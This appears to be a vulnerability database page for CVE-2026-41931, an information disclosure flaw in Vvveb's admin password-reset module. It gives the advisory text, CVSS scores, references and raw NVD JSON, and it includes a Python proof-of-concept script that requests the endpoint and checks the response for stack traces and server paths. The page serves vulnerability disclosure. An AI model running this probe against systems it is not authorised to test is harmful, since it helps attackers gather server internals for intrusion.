CVE-2026-41931

Description

Vvveb before version 1.0.8.2 contains an information disclosure vulnerability that allows unauthenticated attackers to obtain sensitive server information by triggering unhandled exceptions in the password-reset module. Attackers can access the admin password-reset endpoint to trigger a fatal error caused by a missing namespace import, which exposes the absolute server file path, internal class namespaces, line numbers, and source code excerpts through the debug exception handler rendered to unauthenticated requests.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Vvveb < 1.0.8.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
PoC for CVE-2026-41931 (Vvveb Information Disclosure)
This script checks if the target is vulnerable by triggering the unhandled exception.
"""

import requests

def check_poc(target_url):
    # The vulnerability is triggered in the admin password-reset module
    # Common endpoint might be /admin/password-reset or similar
    endpoint = "/admin/password-reset"
    full_url = f"{target_url.rstrip('/')}{endpoint}"
    
    headers = {
        "User-Agent": "CVE-2026-41931-Scanner"
    }

    try:
        print(f"[+] Checking target: {full_url}")
        response = requests.get(full_url, headers=headers, timeout=10)

        # Analyzing response for debug information leakage
        # Indicators: Stack trace, Fatal error, Absolute paths
        if response.status_code == 500 or response.status_code == 200:
            content = response.text
            indicators = ["Stack trace:", "Fatal error:", "Call Stack", "/var/www/", "C:\\xampp\\"]
            
            found = False
            for indicator in indicators:
                if indicator in content:
                    print(f"[!] Potential information disclosure detected!")
                    print(f"[!] Found indicator: {indicator}")
                    found = True
                    break
            
            if found:
                print("[*] Response snippet (first 300 chars):")
                print(content[:300])
            else:
                print("[-] No debug information leaked via this endpoint.")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")

    except requests.exceptions.RequestException as e:
        print(f"[Error] Connection failed: {e}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python3 poc.py <target_url>")
        print("Example: python3 poc.py http://localhost")
    else:
        check_poc(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41931
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41931
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41931/
[4] VulDB https://vuldb.com/cve/CVE-2026-41931
[5] https://github.com/givanz/Vvveb/releases/tag/1.0.8.2
[6] https://github.com/givanz/Vvveb/security/advisories/GHSA-xgvg-r47g-786r
[7] https://www.vulncheck.com/advisories/vvveb-information-disclosure-via-debug-exception-handler
[8] https://github.com/givanz/Vvveb/security/advisories/GHSA-xgvg-r47g-786r

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41931", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:37.277", "lastModified": "2026-05-06T20:16:32.670", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vvveb before version 1.0.8.2 contains an information disclosure vulnerability that allows unauthenticated attackers to obtain sensitive server information by triggering unhandled exceptions in the password-reset module. Attackers can access the admin password-reset endpoint to trigger a fatal error caused by a missing namespace import, which exposes the absolute server file path, internal class namespaces, line numbers, and source code excerpts through the debug exception handler rendered to unauthenticated requests."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}, {"lang": "en", "value": "CWE-1188"}]}], "references": [{"url": "https://github.com/givanz/Vvveb/releases/tag/1.0.8.2", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/security/advisories/GHSA-xgvg-r47g-786r", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/vvveb-information-disclosure-via-debug-exception-handler", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/security/advisories/GHSA-xgvg-r47g-786r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}